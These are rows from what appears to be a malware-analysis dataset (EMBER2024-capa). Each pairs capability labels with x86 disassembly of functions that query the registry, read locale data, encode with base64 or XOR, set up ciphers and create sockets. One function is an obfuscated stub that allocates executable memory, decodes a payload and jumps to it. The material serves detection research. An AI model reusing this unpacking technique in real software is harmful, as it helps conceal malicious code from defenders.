joyce8/EMBER2024-capa huggingface dataset:
Function at 0x57b489
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push str.SoftwareMicrosoftDirect3D
push getpeername
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x57b4e0
push esi
lea eax, [ebp + 0x14]
push eax
push dword [ebp + 0x10]
lea eax, [ebp + 0x10]
push eax
push 0
push dword [ebp + 0xc]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
pop esi
jne 0x57b4e0
mov eax, dword [ebp + 0x10]
cmp eax, dword [ebp + 8]
jne 0x57b4e0
xor eax, eax
inc eax
jmp 0x57b4e2
xor eax, eax
leave
ret 0x10

Function at 0x57b50b
Capabilities:
Get system information on windows
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push edi
lea eax, [ebp - 4]
push eax
push str.SoftwareMicrosoftDirect3D
push getpeername
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
xor edi, edi
test eax, eax
jne 0x57b579
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
push edi
push 0xcef224
push dword [ebp - 4]
mov dword [ebp - 8], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x57b570
cmp dword [ebp - 0xc], 4
jne 0x57b570
cmp dword [ebp - 0x10], edi
je 0x57b570
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [0xd18550], edi
xor eax, eax
jmp 0x57b5b8
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [0xd18550], edi
jge 0x57b5b3
lea eax, [ebp - 0x34]
push eax
mov dword [0xd18550], edi
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp word [ebp - 0x34], di
jne 0x57b5b3
cmp word [ebp - 0x14], 5
jb 0x57b5b3
call fcn.0057b4e6
test eax, eax
je 0x57b5b3
emms
mov dword [0xd18550], 1
mov eax, dword [0xd18550]
pop edi
leave
ret

Function at 0x5a0d84
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x5a0dbc
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.0059ee2e
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.0059ee06
jmp 0x5a0dc8
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x5a2476
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x5a24b8
call fcn.005a841b
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x5a24b8
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x5a24af
xor eax, eax
jmp 0x5a24c0
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.005a24c6
pop edi
pop esi
pop ebx
ret 4
Function at 0x5b1640
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0xd5a020]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x5b16d8
push getpeername
call sub.ADVAPI32.dll_RegOpenKeyExA
test eax, eax
jne 0x5b16b8
xor eax, eax
push ebp
push 0x5b16b1
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x5b16f4
mov eax, dword [ebp - 4]
push eax
call sub.ADVAPI32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5b16b8
mov eax, dword [ebp - 4]
push eax
call sub.ADVAPI32.dll_RegCloseKey
ret
mov ax, word [0xd5a020]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0xd5a020], ax
mov esp, ebp
pop ebp
ret

Function at 0x5b2404
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0xd6b044], 0
je 0x5b2465
cmp word [0xd6b218], 0xd7b2
jne 0x5b242d
cmp dword [0xd6b220], 0
jbe 0x5b242d
mov eax, 0xd6b214
call dword [0xd6b230]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0xd5a090
push 0xfffffffffffffff5
call sub.KERNEL32.dll_GetStdHandle
push eax
call sub.KERNEL32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x5b248c
push 0xfffffffffffffff5
call sub.KERNEL32.dll_GetStdHandle
push eax
call sub.KERNEL32.dll_WriteFile
pop edx
ret
cmp byte [0xd5a030], 0
jne 0x5b2481
push 0
push 0xd5a088
push 0xd5a090
push 0
call sub.USER32.dll_MessageBoxA
pop edx
ret
Function at 0x5b4304
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x5b436a
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.KERNEL32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.005b27f8
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.005b1234
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x5b4354
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5b4371
lea eax, [ebp - 0x10]
call fcn.005b2588
ret

Function at 0x5b8790
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push 0x100
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.KERNEL32.dll_GetLocaleInfoA
test eax, eax
jle 0x5b87c9
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.005b2678
jmp 0x5b87d2
mov eax, ebx
mov edx, esi
call fcn.005b25dc
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x5b87dc
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.KERNEL32.dll_GetLocaleInfoA
test eax, eax
jle 0x5b87fd
mov al, byte [esp]
jmp 0x5b87ff
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x5b9c58
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
xor edx, edx
mov dword [ebp - 0xc], edx
xor edx, edx
push ebp
push 0x5b9cbc
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 7]
push edx
push 0x1004
push eax
call sub.KERNEL32.dll_GetLocaleInfoA
lea eax, [ebp - 0xc]
lea edx, [ebp - 7]
mov ecx, 7
call fcn.005b27f8
mov eax, dword [ebp - 0xc]
push eax
call sub.KERNEL32.dll_GetACP
mov edx, eax
pop eax
call fcn.005b5c20
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5b9cc3
lea eax, [ebp - 0xc]
call fcn.005b2588
ret
Function at 0x5bad84
Capabilities:
Encode data using base64
Encrypt data using rc4 ksa

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff0
mov dword [esp + 4], ecx
mov dword [esp], edx
mov edi, 0xd5a33c
lea ecx, [esp + 8]
mov dword [ecx], eax
mov eax, dword [esp]
mov dword [esp + 0xc], eax
xor ebx, ebx
xor esi, esi
mov eax, dword [esp + 4]
mov ebp, 3
cdq
idiv ebp
test eax, eax
jle 0x5bae48
mov edx, dword [ecx]
movzx edx, byte [edx + ebx]
shr edx, 2
mov dl, byte [edi + edx]
mov ebp, dword [esp + 0xc]
mov byte [ebp + esi], dl
mov edx, dword [ecx]
mov dl, byte [edx + ebx]
and dl, 3
and edx, 0xff
shl edx, 4
mov ebp, dword [ecx]
movzx ebp, byte [ebp + ebx + 1]
shr ebp, 4
add edx, ebp
mov dl, byte [edi + edx]
mov ebp, dword [esp + 0xc]
mov byte [ebp + esi + 1], dl
mov edx, dword [ecx]
mov dl, byte [edx + ebx + 1]
and dl, 0xf
and edx, 0xff
shl edx, 2
mov ebp, dword [ecx]
movzx ebp, byte [ebp + ebx + 2]
shr ebp, 6
add edx, ebp
mov dl, byte [edi + edx]
mov ebp, dword [esp + 0xc]
mov byte [ebp + esi + 2], dl
mov edx, dword [ecx]
mov dl, byte [edx + ebx + 2]
and dl, 0x3f
and edx, 0xff
mov dl, byte [edi + edx]
mov ebp, dword [esp + 0xc]
mov byte [ebp + esi + 3], dl
add esi, 4
add ebx, 3
dec eax
jne 0x5badbc
mov eax, dword [esp + 4]
mov ebp, 3
cdq
idiv ebp
dec edx
je 0x5bae5f
dec edx
je 0x5baea0
jmp 0x5baefd
mov eax, dword [ecx]
movzx eax, byte [eax + ebx]
shr eax, 2
mov al, byte [edi + eax]
mov edx, dword [esp + 0xc]
mov byte [edx + esi], al
mov eax, dword [ecx]
mov al, byte [eax + ebx]
and al, 3
and eax, 0xff
shl eax, 4
mov al, byte [edi + eax]
mov edx, dword [esp + 0xc]
mov byte [edx + esi + 1], al
mov eax, dword [esp + 0xc]
mov byte [eax + esi + 2], 0x3d
mov eax, dword [esp + 0xc]
mov byte [eax + esi + 3], 0x3d
jmp 0x5baefd
mov eax, dword [ecx]
movzx eax, byte [eax + ebx]
shr eax, 2
mov al, byte [edi + eax]
mov edx, dword [esp + 0xc]
mov byte [edx + esi], al
mov eax, dword [ecx]
mov al, byte [eax + ebx]
and al, 3
and eax, 0xff
shl eax, 4
mov edx, dword [ecx]
movzx edx, byte [edx + ebx + 1]
shr edx, 4
add eax, edx
mov al, byte [edi + eax]
mov edx, dword [esp + 0xc]
mov byte [edx + esi + 1], al
mov eax, dword [ecx]
mov al, byte [eax + ebx + 1]
and al, 0xf
and eax, 0xff
shl eax, 2
mov al, byte [edi + eax]
mov edx, dword [esp + 0xc]
mov byte [edx + esi + 2], al
mov eax, dword [esp + 0xc]
mov byte [eax + esi + 3], 0x3d
mov eax, dword [esp + 4]
add eax, 2
mov ecx, 3
cdq
idiv ecx
shl eax, 2
add esp, 0x10
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x5baf60
Capabilities:
Encode data using base64

Disassembly:
push esi
push edi
push ebp
add esp, 0xfffffff4
mov dword [esp + 4], eax
mov dword [esp + 8], edx
xor esi, esi
xor edi, edi
xor eax, eax
mov ebp, ecx
test ebp, ebp
jns 0x5baf7d
add ebp, 3
sar ebp, 2
test ebp, ebp
jle 0x5bb08f
mov edx, 4
mov eax, esp
mov ecx, dword [esp + 4]
movzx ecx, byte [ecx + esi]
cmp ecx, 0x3d
jg 0x5bafb0
je 0x5baffc
sub ecx, 0x2b
je 0x5baff2
sub ecx, 4
je 0x5baff7
dec ecx
sub ecx, 0xa
jb 0x5bafe1
jmp 0x5bafff
add ecx, 0xffffffbf
sub ecx, 0x1a
jb 0x5bafc2
add ecx, 0xfffffffa
sub ecx, 0x1a
jb 0x5bafd0
jmp 0x5bafff
mov ecx, dword [esp + 4]
mov cl, byte [ecx + esi]
sub cl, 0x41
mov byte [eax], cl
jmp 0x5bafff
mov ecx, dword [esp + 4]
mov cl, byte [ecx + esi]
sub cl, 0x61
add cl, 0x1a
mov byte [eax], cl
jmp 0x5bafff
mov ecx, dword [esp + 4]
mov cl, byte [ecx + esi]
sub cl, 0x30
add cl, 0x34
mov byte [eax], cl
jmp 0x5bafff
mov byte [eax], 0x3e
jmp 0x5bafff
mov byte [eax], 0x3f
jmp 0x5bafff
mov byte [eax], 0xff
inc esi
inc eax
dec edx
jne 0x5baf8f
mov al, byte [esp]
shl eax, 2
xor edx, edx
mov dl, byte [esp + 1]
shr edx, 4
or al, dl
mov edx, dword [esp + 8]
mov byte [edx + edi], al
lea eax, [edi + 1]
mov dl, byte [esp + 2]
cmp dl, 0xff
je 0x5bb04f
cmp byte [esp + 3], 0xff
jne 0x5bb04f
mov al, byte [esp + 1]
shl eax, 4
and edx, 0xff
shr edx, 2
or al, dl
mov edx, dword [esp + 8]
mov byte [edx + edi + 1], al
lea eax, [edi + 2]
inc edi
jmp 0x5bb087
cmp dl, 0xff
je 0x5bb087
mov al, byte [esp + 1]
shl eax, 4
and edx, 0xff
shr edx, 2
or al, dl
mov edx, dword [esp + 8]
mov byte [edx + edi + 1], al
mov eax, dword [esp + 8]
mov dl, byte [esp + 2]
shl edx, 6
or dl, byte [esp + 3]
mov byte [eax + edi + 2], dl
lea eax, [edi + 3]
add edi, 2
inc edi
dec ebp
jne 0x5baf88
add esp, 0xc
pop ebp
pop edi
pop esi
ret

Function at 0x5bb11c
Capabilities:
Hash data with crc32

Disassembly:
push ebx
xor ebx, ebx
mov ecx, 0xd6b7a0
mov eax, ebx
mov edx, 8
test al, 1
je 0x5bb138
shr eax, 1
xor eax, 0xedb88320
jmp 0x5bb13a
shr eax, 1
dec edx
jne 0x5bb12b
mov dword [ecx], eax
inc ebx
add ecx, 4
cmp ebx, 0x100
jne 0x5bb124
pop ebx
ret
Function at 0x5bb150
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push eax
mov eax, 0x10
add esp, 0xfffff004
push eax
dec eax
jne 0x5bb159
mov eax, dword [ebp - 4]
add esp, 0xfffffebc
push ebx
push esi
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.005b2a38
xor eax, eax
push ebp
push 0x5bb239
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.005bb11c
mov eax, dword [0xd6ae0c]
mov byte [eax], 0
mov dword [ebx], 0xffffffff
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x154]
call fcn.005b0e7c
mov edx, 1
lea eax, [ebp - 0x154]
call fcn.005b1218
call fcn.005b0ba8
test eax, eax
jne 0x5bb216
lea eax, [ebp - 8]
push eax
lea edx, [ebp - 0x10145]
mov ecx, 0xfff1
lea eax, [ebp - 0x154]
call fcn.005b0fcc
mov dx, word [ebp - 8]
test dx, dx
jbe 0x5bb210
lea eax, [ebp - 0x10145]
xor ecx, ecx
mov cl, byte [eax]
mov esi, dword [ebx]
and esi, 0xff
xor ecx, esi
mov ecx, dword [ecx*4 + 0xd6b7a0]
mov esi, dword [ebx]
shr esi, 8
xor ecx, esi
mov dword [ebx], ecx
inc eax
dec dx
jne 0x5bb1ec
cmp dword [ebp - 8], 0
jne 0x5bb1c3
lea eax, [ebp - 0x154]
call fcn.005b0fec
not dword [ebx]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5bb240
lea eax, [ebp - 4]
call fcn.005b2588
ret

Function at 0x5c6718
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov esi, ecx
test esi, esi
jbe 0x5c6738
mov ecx, 1
mov ebx, edx
add ebx, ecx
dec ebx
mov bl, byte [ebx]
mov edi, eax
add edi, ecx
dec edi
xor byte [edi], bl
inc ecx
dec esi
jne 0x5c6726
pop edi
pop esi
pop ebx
ret
Function at 0x5cefd4
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
xor ebp, ebp
mov ebx, 0xd6bcb4
mov eax, ebp
shr eax, 1
and eax, 0xff
mov dword [esp], eax
mov esi, ebp
and esi, 1
mov eax, ebp
and eax, 0x200
shr eax, 8
or esi, eax
mov edx, dword [esi*4 + 0xd60670]
mov eax, dword [esi*4 + 0xd606b0]
xor eax, dword [esp]
call fcn.005cef70
mov edi, eax
shl edi, 0x18
mov eax, edi
call fcn.005cefac
mov dword [ebx], eax
mov edx, dword [esi*4 + 0xd60680]
mov eax, dword [esi*4 + 0xd606c0]
xor eax, dword [esp]
call fcn.005cef70
mov edi, eax
shl edi, 0x10
mov eax, edi
call fcn.005cefac
mov dword [ebx + 0x1000], eax
mov edx, dword [esi*4 + 0xd60690]
mov eax, dword [esi*4 + 0xd606d0]
xor eax, dword [esp]
call fcn.005cef70
mov edi, eax
shl edi, 8
mov eax, edi
call fcn.005cefac
mov dword [ebx + 0x2000], eax
mov edx, dword [esi*4 + 0xd606a0]
mov eax, dword [esi*4 + 0xd606e0]
xor eax, dword [esp]
call fcn.005cef70
mov edi, eax
mov eax, edi
call fcn.005cefac
mov dword [ebx + 0x3000], eax
inc ebp
add ebx, 4
cmp ebp, 0x400
jne 0x5cefe0
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x5cf138
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
push ebx
push esi
push edi
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0x10]
mov ecx, dword [eax + edx*4]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 0x10]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 4]
lea eax, [edx + eax*4 + 0x4c]
mov dword [ebp - 0x14], eax
xor ebx, ebx
mov eax, dword [ebp - 0x14]
xor edx, edx
mov dword [eax + ebx*4], edx
inc ebx
cmp ebx, 3
jne 0x5cf16d
xor ebx, ebx
mov eax, ebx
mov esi, 3
xor edx, edx
div esi
mov eax, dword [ebp - 0x14]
lea eax, [eax + edx*4]
mov dword [ebp - 0x18], eax
xor eax, eax
lea edx, [eax + ecx]
and edx, 3
mov esi, dword [ebp - 8]
lea edx, [esi + edx*2]
mov dword [ebp - 0x1c], edx
mov edx, dword [ebp - 0x1c]
mov dx, word [edx]
and dx, 1
movzx edx, dx
mov esi, dword [ebp - 0x18]
mov esi, dword [esi]
add esi, esi
or esi, edx
mov edi, dword [ebp - 0x18]
mov dword [edi], esi
mov esi, dword [ebp - 0x1c]
movzx esi, word [esi]
shr esi, 1
xor dx, 1
shl edx, 0xf
or si, dx
mov edx, dword [ebp - 0x1c]
mov word [edx], si
inc eax
cmp eax, 4
jne 0x5cf193
inc ebx
cmp ebx, 0xf
jne 0x5cf17d
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 8
jne 0x5cf14f
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x5d8ee0
Capabilities:
Encrypt data using twofish

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffe4
mov dword [esp + 0x18], 0x100
mov esi, 0xd650f4
mov ebx, 0xd6fce4
movzx edi, byte [esi]
mov dword [esp], edi
mov eax, edi
call fcn.005d7e30
mov dword [esp + 8], eax
mov eax, edi
call fcn.005d7e40
mov dword [esp + 0x10], eax
movzx edi, byte [esi + 0x100]
mov dword [esp + 4], edi
mov eax, edi
call fcn.005d7e30
mov dword [esp + 0xc], eax
mov eax, edi
call fcn.005d7e40
mov ebp, eax
mov dword [esp + 0x14], ebp
mov eax, edi
mov edx, dword [esp + 0xc]
shl edx, 8
or eax, edx
mov edx, ebp
shl edx, 0x10
or eax, edx
mov edx, ebp
shl edx, 0x18
or eax, edx
mov dword [ebx], eax
mov eax, dword [esp + 0x10]
mov edx, eax
mov ecx, eax
shl ecx, 8
or edx, ecx
mov ecx, dword [esp + 8]
shl ecx, 0x10
or edx, ecx
mov ecx, dword [esp]
shl ecx, 0x18
or edx, ecx
mov dword [ebx + 0x400], edx
mov edx, dword [esp + 0xc]
shl ebp, 8
or edx, ebp
shl edi, 0x10
or edx, edi
mov ecx, dword [esp + 0x14]
shl ecx, 0x18
or edx, ecx
mov dword [ebx + 0x800], edx
mov edx, dword [esp + 8]
mov ecx, dword [esp]
shl ecx, 8
or edx, ecx
shl eax, 0x10
or edx, eax
mov eax, dword [esp + 8]
shl eax, 0x18
or edx, eax
mov dword [ebx + 0xc00], edx
add ebx, 4
inc esi
dec dword [esp + 0x18]
jne 0x5d8ef9
add esp, 0x1c
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x6d77355a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x6d773569
pop dword [ebp - 0x30]
mov eax, 0x158354c3
sub eax, 0xa80c1f5a
sub dword [ebp - 0x30], eax
mov dword [ebp - 0x40], 0xb2b9c5da
sub dword [ebp - 0x40], 0x6467808f
mov dword [ebp - 0x3c], 0x3afa5b57
sub dword [ebp - 0x3c], 0x8c70f12
mov dword [ebp - 0x38], 0xe0259be3
add dword [ebp - 0x38], 0x6c26a84b
mov dword [ebp - 0x34], 0x2939585d
add dword [ebp - 0x34], 0xd6c6a7a3
lea eax, [ebp - 0x40]
push eax
mov eax, 0xec1c24c3
sub eax, 0x7ea46487
add eax, dword [ebp - 0x30]
call dword [eax]
mov dword [ebp - 0x40], 0xa42c80c7
sub dword [ebp - 0x40], 0x2fba1771
mov dword [ebp - 0x3c], 0xc0ce4d4e
add dword [ebp - 0x3c], 0x809e1427
mov dword [ebp - 0x38], 0xf68ebf2e
sub dword [ebp - 0x38], 0x931f52c2
mov dword [ebp - 0x34], 0x5d09e8ad
sub dword [ebp - 0x34], 0x5d09e8ad
lea ebx, [ebp - 0x40]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x30]
call dword [eax]
push 0x40
push 0x1000
push 0x3875c
push 0
call eax
mov ecx, 0x4cf7
mov esi, eax
mov edi, 0x6d784000
add edi, dword [ebp - 0x30]
mov edx, 0x6a3c82e5
sub dword [ebp - 8], edx
mov ebx, dword [edi]
sub dword [ebp - 8], 0x16448f77
sub ebx, edx
sub dword [ebp - 0x24], 0x4d81c2f3
mov dword [esi], ebx
xor dword [ebp - 0x28], eax
add esi, 0xc42daba3
add esi, 0x3bd25461
add edi, 4
loop 0x6d773674
add eax, 0x43ed85f1
add eax, 0xbc13a0be
xor ebx, ebx
add ebx, eax
add eax, 0xca7e65f6
add eax, 0x35819a0f
mov ecx, 0x6d770000
add ecx, dword [ebp - 0x30]
call ebx
leave
ret

Function at 0x6d773af6
Capabilities:
Check os version
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0xa8
mov eax, dword [0x6d781098]
xor eax, ebp
mov dword [ebp + 0x74], eax
mov eax, dword [0x6d781004]
test eax, eax
jns 0x6d773bae
and dword [0x6d781004], 0
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 0x94
call dword [sym.imp.kernel32.dll_GetVersionExA]
cmp dword [ebp - 0x10], 2
jne 0x6d773b4e
cmp dword [ebp - 0x1c], 5
jae 0x6d773ba9
lea eax, [ebp - 0x24]
push eax
push 0x20019
push 0
push str.SYSTEMCurrentControlSetServicesTcpParameters
jmp 0x6d773b5e
lea eax, [ebp - 0x24]
push eax
push 0x20019
push 0
push str.SYSTEMCurrentControlSetServicesVxDMSTCPParameters
push reloc.ws2_32.dll_bind
call dword [sym.imp.advapi32.dll_RegOpenKeyExA]
test eax, eax
jne 0x6d773ba9
push edi
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x30]
push eax
push 0
push str.DefaultTOS
push dword [ebp - 0x24]
mov dword [ebp - 0x2c], 4
call dword [sym.imp.advapi32.dll_RegQueryValueExA]
push dword [ebp - 0x24]
mov edi, eax
call dword [sym.imp.advapi32.dll_RegCloseKey]
test edi, edi
pop edi
jne 0x6d773ba9
mov eax, dword [ebp - 0x28]
mov dword [0x6d781004], eax
mov eax, dword [0x6d781004]
mov ecx, dword [ebp + 0x74]
xor ecx, ebp
call fcn.6d77b1da
add ebp, 0x78
leave
ret
Function at 0x6d773d3b
Capabilities:
Get socket status

Disassembly:
push ebp
lea ebp, [esp - 0x90]
sub esp, 0x110
mov eax, dword [0x6d781098]
xor eax, ebp
mov dword [ebp + 0x8c], eax
mov eax, dword [ebp + 0x9c]
cdq
mov ecx, 0x3e8
idiv ecx
lea ecx, [ebp - 0x80]
push ecx
push 0
push 0
lea ecx, [ebp - 0x78]
push ecx
mov dword [ebp - 0x78], 1
imul edx, edx, 0x3e8
mov dword [ebp - 0x80], eax
mov eax, dword [ebp + 0x98]
mov dword [ebp - 0x74], eax
inc eax
push eax
mov dword [ebp - 0x7c], edx
call dword [sym.imp.ws2_32.dll_select]
mov ecx, dword [ebp + 0x8c]
xor ecx, ebp
call fcn.6d77b1da
add ebp, 0x90
leave
ret 8

Function at 0x6d773dab
Capabilities:
Get socket status

Disassembly:
push ebp
lea ebp, [esp - 0x90]
sub esp, 0x110
mov eax, dword [0x6d781098]
xor eax, ebp
mov dword [ebp + 0x8c], eax
mov eax, dword [ebp + 0xa0]
push ebx
push esi
push edi
mov edi, dword [ebp + 0xa4]
lea ecx, [ebp - 0x80]
cmp eax, 0xffffffff
jne 0x6d773de1
xor ecx, ecx
jmp 0x6d773df5
cdq
mov esi, 0x3e8
idiv esi
imul edx, edx, 0x3e8
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], edx
mov esi, dword [ebp + 0x98]
mov ebx, dword [ebp + 0x9c]
xor edx, edx
inc edx
mov dword [ebp - 0x74], esi
mov dword [ebp - 0x78], edx
xor eax, eax
cmp dword [ebp + eax*4 - 0x74], ebx
je 0x6d773e17
inc eax
cmp eax, edx
jb 0x6d773e0c
cmp eax, edx
jne 0x6d773e25
mov dword [ebp - 0x70], ebx
mov dword [ebp - 0x78], 2
push ecx
xor eax, eax
push eax
push eax
lea ecx, [ebp - 0x78]
push ecx
push eax
call dword [sym.imp.ws2_32.dll_select]
sub eax, 0
je 0x6d773e65
dec eax
je 0x6d773e4c
dec eax
je 0x6d773e45
or eax, 0xffffffff
jmp 0x6d773e67
push 2
mov dword [edi], esi
pop eax
jmp 0x6d773e67
lea eax, [ebp - 0x78]
push eax
push esi
call sub.ws2_32.dll___WSAFDIsSet
test eax, eax
je 0x6d773e5e
mov dword [edi], esi
jmp 0x6d773e60
mov dword [edi], ebx
xor eax, eax
inc eax
jmp 0x6d773e67
xor eax, eax
mov ecx, dword [ebp + 0x8c]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.6d77b1da
add ebp, 0x90
leave
ret 0x10
Function at 0x6d775180
Capabilities:
Create udp socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push dword [0x6d7815b4]
mov esi, dword [ebp + 8]
push dword [ebp + 0xc]
mov eax, dword [esi]
push esi
call dword [eax + 0x17c]
mov dword [ebp + 8], eax
test eax, eax
jne 0x6d7751b6
push str.null_fd_object
push str.java_net_SocketException
push esi
call sub.java.dll__JNU_ThrowByName_12
jmp 0x6d7752b0
xor eax, eax
cmp byte [ebp + 0x10], al
push ebx
mov ebx, dword [sym.imp.ws2_32.dll_socket]
sete al
push 0
inc eax
push eax
push 2
mov dword [ebp - 4], eax
call ebx
mov dword [ebp + 0x10], eax
cmp eax, 0xffffffff
jne 0x6d7751ea
push str.create
push esi
call fcn.6d773a00
pop ecx
pop ecx
jmp 0x6d7752af
push edi
mov edi, dword [sym.imp.kernel32.dll_SetHandleInformation]
push 0
push 1
push eax
call edi
push dword [ebp + 0x10]
mov eax, dword [esi]
push dword [0x6d78117c]
push dword [ebp + 8]
push esi
call dword [eax + 0x1b4]
call sym.net.dll__ipv6_available_0
test eax, eax
mov eax, dword [esi]
je 0x6d77529c
push dword [0x6d7815a8]
push dword [ebp + 0xc]
push esi
call dword [eax + 0x17c]
mov dword [ebp + 0xc], eax
test eax, eax
jne 0x6d775245
push str.null_fd1_object
push str.java_net_SocketException
push esi
call sub.java.dll__JNU_ThrowByName_12
jmp 0x6d775262
push 0
push dword [ebp - 4]
push 0x17
call ebx
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x6d775280
push str.create
push esi
call fcn.6d773a00
pop ecx
pop ecx
mov eax, dword [esi]
push 0xffffffffffffffff
push dword [0x6d78117c]
push dword [ebp + 8]
push esi
call dword [eax + 0x1b4]
push dword [ebp + 0x10]
call sym.net.dll__NET_SockaddrToInetAddress_12
jmp 0x6d7752ae
push 0
push 1
push ebx
call edi
mov eax, dword [esi]
push ebx
push dword [0x6d78117c]
push dword [ebp + 0xc]
push esi
call dword [eax + 0x1b4]
jmp 0x6d7752ae
push 0
push dword [0x6d7815a8]
push dword [ebp + 0xc]
push esi
call dword [eax + 0x1a0]
pop edi
pop ebx
pop esi
leave
ret 0xc